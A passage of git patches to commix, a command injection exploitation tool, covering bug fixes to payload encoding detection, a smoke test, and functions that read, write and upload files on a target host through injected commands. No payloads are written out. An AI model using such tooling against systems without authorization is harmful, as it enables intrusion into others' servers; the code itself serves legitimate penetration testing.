settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d031a0e1ba..cdfac48053 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -172,6 +172,8 @@ def vuln_GET_param(url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if settings.BASE64_PADDING in pairs[param]: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break else: @@ -373,6 +375,8 @@ def vuln_POST_param(parameter, url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if settings.BASE64_PADDING in pairs[param]: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break if 'vuln_parameter' not in locals(): diff --git a/src/utils/settings.py b/src/utils/settings.py index bf4d87735a..5cf500bd15 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1058,7 +1058,7 @@ def sys_argv_errors(): GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/" # Default path for settings.py file SETTINGS_PATH = os.path.abspath("src/utils/settings.py") @@ -1097,4 +1097,6 @@ def sys_argv_errors(): # Identified Redirect code REDIRECT_CODE = "" + +BASE64_PADDING = "==" # eof \ No newline at end of file From 635240bf9b7199d8d9b9bb4e462dc72e140d7036 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 Apr 2022 09:38:18 +0300 Subject: [PATCH 124/560] Minor bug-fix regarding `--file-upload` option. --- doc/CHANGELOG.md | 1 + src/utils/settings.py | 2 +- src/utils/simple_http_server.py | 11 ++++++----- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3f693d5d54..d7fca13ba6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Minor bug-fix regarding `--file-upload` option. * Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. diff --git a/src/utils/settings.py b/src/utils/settings.py index 5cf500bd15..bd646e854e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 4306f5145b..c4b231ee99 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -89,12 +89,13 @@ def do_GET(self): f = open(self.path) self.send_response(200) self.end_headers() - self.wfile.write(f.read()) - f.close() + self.wfile.write(f.read().encode()) + return + + except Exception: + error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)" + self.wfile.write(error_response.encode()) - except IOError: - self.wfile.write(settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)") - def log_message(self, format, *args): return From ed9a61bf8f97dd4b27d3b9964687611a599cb392 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 1 May 2022 09:16:36 +0300 Subject: [PATCH 125/560] Fixes https://github.com/commixproject/commix/issues/761 https://github.com/commixproject/commix/issues/762 https://github.com/commixproject/commix/issues/763 & multiple other fixes / updates --- src/core/convert.py | 21 ++++++- src/core/enums.py | 58 ++++++++++++++++++ .../techniques/time_based/tb_enumeration.py | 2 +- .../techniques/time_based/tb_file_access.py | 31 ++++------ src/core/injections/controller/checks.py | 59 +++++++++++-------- .../techniques/classic/cb_file_access.py | 26 ++++---- .../techniques/eval_based/eb_file_access.py | 16 ++--- .../techniques/file_based/fb_file_access.py | 19 +++--- .../tempfile_based/tfb_enumeration.py | 2 +- .../tempfile_based/tfb_file_access.py | 26 ++++---- .../techniques/tempfile_based/tfb_injector.py | 6 +- src/core/requests/headers.py | 18 +++--- src/core/tamper/hexencode.py | 5 +- src/utils/settings.py | 37 ++++++++++-- src/utils/simple_http_server.py | 6 +- 15 files changed, 212 insertions(+), 120 deletions(-) create mode 100644 src/core/enums.py diff --git a/src/core/convert.py b/src/core/convert.py index 4a14cf9f99..fad3bae9d9 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -14,19 +14,33 @@ """ import codecs +import binascii from src.utils import settings from src.thirdparty import six +""" +Decode string for hex +""" def hexdecode(value): if value.lower().startswith("0x"): value = value[2:] try: value = codecs.decode(''.join(value.split()), "hex") + except binascii.Error: + _ = False + return value, _ except LookupError: value = binascii.unhexlify(value) - value = value.decode(settings.DEFAULT_CODEC) - return value + try: + value = value.decode(settings.DEFAULT_CODEC) + _ = True + except: + _ = False + return value, _ +""" +Encode string to hex +""" def hexencode(value): if isinstance(value, six.text_type): value = value.encode(settings.DEFAULT_CODEC) @@ -35,5 +49,6 @@ def hexencode(value): except LookupError: value = binascii.hexlify(value) value = value.decode(settings.DEFAULT_CODEC) - return value + _ = True + return value, _ diff --git a/src/core/enums.py b/src/core/enums.py new file mode 100644 index 0000000000..30f2b608f7 --- /dev/null +++ b/src/core/enums.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import settings + +""" +Runs the basic smoke testing +""" +def smoke_test(): + info_msg = "Executing smoke test." + print(settings.print_info_msg(info_msg)) + + _ = True + file_paths = [] + for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) + + for filename in file_paths: + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) + path = path.replace(settings.COMMIX_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + if "." in path: + try: + __import__(path) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Succeeded importing '" + str(path) + "' module." + print(settings.print_debug_msg(debug_msg)) + except Exception as ex: + error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." + print(settings.print_error_msg(error_msg)) + _ = False + + result = "Smoke test " + if _: + result = result + "passed." + print(settings.print_bold_info_msg(result)) + else: + result = result + "failed." + print(settings.print_bold_error_msg(result)) + raise SystemExit() + + diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 5aa19f1969..9b58f69a2b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -21,7 +21,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_injector diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 2a4844396c..0904864d9f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -16,12 +16,10 @@ import re import os import sys - - from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_injector @@ -78,7 +76,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." @@ -154,20 +151,21 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) + # else: + # sys.stdout.flush() if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False if settings.TARGET_OS == "win": # Not yet implemented pass @@ -194,7 +192,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -215,15 +213,13 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) if shell: - sys.stdout.flush() info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -231,6 +227,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if menu.options.file_upload: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: @@ -240,10 +241,4 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4a2482b96d..716c1bddab 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -110,7 +110,7 @@ def connection_exceptions(err_msg): """ def not_declared_cookies(response): try: - candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) + candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) if candidate and settings.DECLARED_COOKIES is not False: settings.DECLARED_COOKIES = True if settings.CRAWLED_SKIPPED_URLS != 0: @@ -1237,37 +1237,46 @@ def recognise_payload(payload): encoded_with = "" check_value = payload - if not re.match(settings.HEX_RECOGNITION_REGEX, check_value): - if re.match(settings.BASE64_RECOGNITION_REGEX, check_value + settings.BASE64_PADDING ) and not settings.BASE64_PADDING in check_value: - check_value = payload + settings.BASE64_PADDING - if (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ not re.match(settings.HEX_RECOGNITION_REGEX, check_value): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(check_value) - encoded_with = "base64" - if re.match(settings.HEX_RECOGNITION_REGEX, check_value): - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(decoded_payload) - encoded_with = "hex" - + _payload = base64.b64decode(check_value) + try: + if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + settings.MULTI_ENCODED_PAYLOAD.append("base64encode") + decoded_payload = _payload + encoded_with = "base64" + if re.match(settings.HEX_RECOGNITION_REGEX, check_value): + decoded_payload, _ = hexdecode(decoded_payload) + if _: + settings.MULTI_ENCODED_PAYLOAD.append("hexencode") + encoded_with = "hex" + except Exception: + pass + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(check_value) - encoded_with = "hex" - if (len(check_value.strip()) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(decoded_payload) - encoded_with = "base64" + decoded_payload, _ = hexdecode(check_value) + if _: + settings.MULTI_ENCODED_PAYLOAD.append("hexencode") + encoded_with = "hex" + if (len(check_value.strip()) % 4 == 0) and \ + re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ + not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): + _payload = base64.b64decode(check_value) + try: + if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + settings.MULTI_ENCODED_PAYLOAD.append("base64encode") + decoded_payload = _payload + encoded_with = "base64" + except Exception: + pass else: decoded_payload = payload + if len(encoded_with) != 0: + is_decoded = True + for encode_type in settings.MULTI_ENCODED_PAYLOAD: # Encode payload to base64 format. if encode_type == 'base64encode': @@ -1637,7 +1646,7 @@ def file_upload(): http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) info_msg = "Setting the HTTP server on '" + http_server + "/'. " print(settings.print_info_msg(info_msg)) - menu.options.file_upload = http_server + "/" + menu.options.file_upload + menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 2e9ecaa27c..886590388d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -16,15 +16,12 @@ import re import os import sys -from src.thirdparty.six.moves import urllib as _urllib - - from src.utils import menu from src.utils import settings from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init - from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.results_based.techniques.classic import cb_injector """ @@ -156,13 +153,13 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - #if settings.VERBOSITY_LEVEL != 0: + # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -196,7 +193,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -216,13 +213,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -230,10 +227,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True @@ -242,4 +235,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True + if menu.options.file_write: + file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index e9e92fefc2..cd91cc4534 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -15,16 +15,12 @@ import re import os import sys -from src.thirdparty.six.moves import urllib as _urllib - - from src.utils import menu from src.utils import settings from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init - from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.results_based.techniques.eval_based import eb_injector """ @@ -151,7 +147,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -185,7 +181,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -203,8 +199,8 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index a57d588e7e..82385e21b4 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -16,13 +16,10 @@ import re import os import sys -from src.thirdparty.six.moves import urllib as _urllib - - from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -53,8 +50,8 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "Fetched content of the file '" info_msg += file_to_read + "'." @@ -146,7 +143,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -180,7 +177,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -198,13 +195,13 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 031574444a..5baeeb5671 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -20,7 +20,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index c611c9356c..9dedbf135b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -16,12 +16,10 @@ import re import os import sys - - from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -81,7 +79,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = True file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." @@ -157,21 +154,20 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False if settings.TARGET_OS == "win": # Not yet implemented pass @@ -198,7 +194,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -219,14 +215,13 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -234,11 +229,6 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - if menu.options.file_write: file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: @@ -249,4 +239,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 741f1a97cc..39454a076a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -188,7 +188,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, minlen = 1 found_chars = False - info_msg = "Retrieving the length of execution output. " + info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: @@ -276,7 +276,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_start = time.time() output = [] percent = "0.0%" - info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE + "')." + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" elif settings.VERBOSITY_LEVEL == 1 : @@ -349,7 +349,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = settings.info_msg else: float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE +"')." + info_msg = "Retrieving the execution output (via '" 